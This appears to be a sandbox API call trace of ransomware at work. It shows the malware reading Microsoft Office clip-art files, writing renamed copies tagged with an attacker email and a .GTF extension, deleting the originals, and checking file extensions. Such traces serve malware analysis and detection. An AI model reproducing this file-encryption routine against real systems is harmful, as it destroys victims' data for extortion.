	[0082.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.927] lstrlenW (lpString=".jpg") returned 4
	[0082.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.927] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.928] lstrlenW (lpString="BD19827_.WMF") returned 12
	[0082.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.928] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=9710) returned 1
	[0082.928] CloseHandle (hObject=0x390) returned 1
	[0082.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220
	[0082.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.928] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.928] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0082.929] GetLastError () returned 0x0
	[0082.929] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x25ee, lpOverlapped=0x0) returned 1
	[0082.930] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x25f0, lpOverlapped=0x0) returned 1
	[0082.931] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.931] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.931] SetEndOfFile (hFile=0x37c) returned 1
	[0082.932] CloseHandle (hObject=0x37c) returned 1
	[0082.933] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.933] SetEndOfFile (hFile=0x390) returned 1
	[0082.934] CloseHandle (hObject=0x390) returned 1
	[0082.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1
	[0082.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.934] lstrlenW (lpString=".doc") returned 4
	[0082.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.934] lstrlenW (lpString=".docx") returned 5
	[0082.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.934] lstrlenW (lpString=".pdf") returned 4
	[0082.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.934] lstrlenW (lpString=".xls") returned 4
	[0082.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.934] lstrlenW (lpString=".xlsx") returned 5
	[0082.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.934] lstrlenW (lpString=".ppt") returned 4
	[0082.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.935] lstrlenW (lpString=".zip") returned 4
	[0082.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.935] lstrlenW (lpString=".rar") returned 4
	[0082.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString=".bz2") returned 4
	[0082.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString=".7z") returned 3
	[0082.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.935] lstrlenW (lpString=".dbf") returned 4
	[0082.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.935] lstrlenW (lpString=".1cd") returned 4
	[0082.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.935] lstrlenW (lpString=".jpg") returned 4
	[0082.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.935] lstrlenW (lpString=".doc") returned 4
	[0082.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString=".docx") returned 5
	[0082.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.935] lstrlenW (lpString=".pdf") returned 4
	[0082.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString=".xls") returned 4
	[0082.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.935] lstrlenW (lpString=".xlsx") returned 5
	[0082.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.935] lstrlenW (lpString=".ppt") returned 4
	[0082.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.935] lstrlenW (lpString=".zip") returned 4
	[0082.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.935] lstrlenW (lpString=".rar") returned 4
	[0082.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.936] lstrlenW (lpString=".bz2") returned 4
	[0082.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.936] lstrlenW (lpString=".7z") returned 3
	[0082.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.936] lstrlenW (lpString=".dbf") returned 4
	[0082.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.936] lstrlenW (lpString=".1cd") returned 4
	[0082.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0082.936] lstrlenW (lpString=".jpg") returned 4
	[0082.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.936] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.936] lstrlenW (lpString="BD19828_.WMF") returned 12
	[0082.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.267] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=8772) returned 1
	[0083.267] CloseHandle (hObject=0x31c) returned 1
	[0083.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220
	[0083.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.267] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.267] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.268] GetLastError () returned 0x0
	[0083.268] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x2244, lpOverlapped=0x0) returned 1
	[0083.278] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2250, lpOverlapped=0x0) returned 1
	[0083.279] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.279] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.279] SetEndOfFile (hFile=0x378) returned 1
	[0083.280] CloseHandle (hObject=0x378) returned 1
	[0083.281] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.281] SetEndOfFile (hFile=0x31c) returned 1
	[0083.282] CloseHandle (hObject=0x31c) returned 1
	[0083.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1
	[0083.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.282] lstrlenW (lpString=".doc") returned 4
	[0083.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.282] lstrlenW (lpString=".docx") returned 5
	[0083.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.282] lstrlenW (lpString=".pdf") returned 4
	[0083.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString=".xls") returned 4
	[0083.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.283] lstrlenW (lpString=".xlsx") returned 5
	[0083.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.283] lstrlenW (lpString=".ppt") returned 4
	[0083.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.283] lstrlenW (lpString=".zip") returned 4
	[0083.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.283] lstrlenW (lpString=".rar") returned 4
	[0083.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString=".bz2") returned 4
	[0083.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString=".7z") returned 3
	[0083.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.283] lstrlenW (lpString=".dbf") returned 4
	[0083.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.283] lstrlenW (lpString=".1cd") returned 4
	[0083.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.283] lstrlenW (lpString=".jpg") returned 4
	[0083.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.283] lstrlenW (lpString=".doc") returned 4
	[0083.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString=".docx") returned 5
	[0083.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.283] lstrlenW (lpString=".pdf") returned 4
	[0083.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.283] lstrlenW (lpString=".xls") returned 4
	[0083.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.283] lstrlenW (lpString=".xlsx") returned 5
	[0083.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.284] lstrlenW (lpString=".ppt") returned 4
	[0083.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.284] lstrlenW (lpString=".zip") returned 4
	[0083.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.284] lstrlenW (lpString=".rar") returned 4
	[0083.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.284] lstrlenW (lpString=".bz2") returned 4
	[0083.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.284] lstrlenW (lpString=".7z") returned 3
	[0083.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.284] lstrlenW (lpString=".dbf") returned 4
	[0083.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.284] lstrlenW (lpString=".1cd") returned 4
	[0083.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0083.284] lstrlenW (lpString=".jpg") returned 4
	[0083.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.284] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.284] lstrlenW (lpString="BD19988_.WMF") returned 12
	[0083.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.285] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=18304) returned 1
	[0083.285] CloseHandle (hObject=0x31c) returned 1
	[0083.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220
	[0083.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.285] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.285] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.285] GetLastError () returned 0x0
	[0083.285] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4780, lpOverlapped=0x0) returned 1
	[0083.287] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4790, lpOverlapped=0x0) returned 1
	[0083.289] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.289] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.289] SetEndOfFile (hFile=0x378) returned 1
	[0083.289] CloseHandle (hObject=0x378) returned 1
	[0083.290] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.290] SetEndOfFile (hFile=0x31c) returned 1
	[0083.291] CloseHandle (hObject=0x31c) returned 1
	[0083.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1
	[0083.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.292] lstrlenW (lpString=".doc") returned 4
	[0083.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.292] lstrlenW (lpString=".docx") returned 5
	[0083.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.292] lstrlenW (lpString=".pdf") returned 4
	[0083.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.292] lstrlenW (lpString=".xls") returned 4
	[0083.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.292] lstrlenW (lpString=".xlsx") returned 5
	[0083.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.292] lstrlenW (lpString=".ppt") returned 4
	[0083.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.292] lstrlenW (lpString=".zip") returned 4
	[0083.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.292] lstrlenW (lpString=".rar") returned 4
	[0083.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.292] lstrlenW (lpString=".bz2") returned 4
	[0083.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.292] lstrlenW (lpString=".7z") returned 3
	[0083.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.292] lstrlenW (lpString=".dbf") returned 4
	[0083.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.292] lstrlenW (lpString=".1cd") returned 4
	[0083.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.293] lstrlenW (lpString=".jpg") returned 4
	[0083.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.293] lstrlenW (lpString=".doc") returned 4
	[0083.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString=".docx") returned 5
	[0083.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.293] lstrlenW (lpString=".pdf") returned 4
	[0083.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString=".xls") returned 4
	[0083.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.293] lstrlenW (lpString=".xlsx") returned 5
	[0083.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.293] lstrlenW (lpString=".ppt") returned 4
	[0083.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.293] lstrlenW (lpString=".zip") returned 4
	[0083.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.293] lstrlenW (lpString=".rar") returned 4
	[0083.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString=".bz2") returned 4
	[0083.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString=".7z") returned 3
	[0083.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.293] lstrlenW (lpString=".dbf") returned 4
	[0083.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
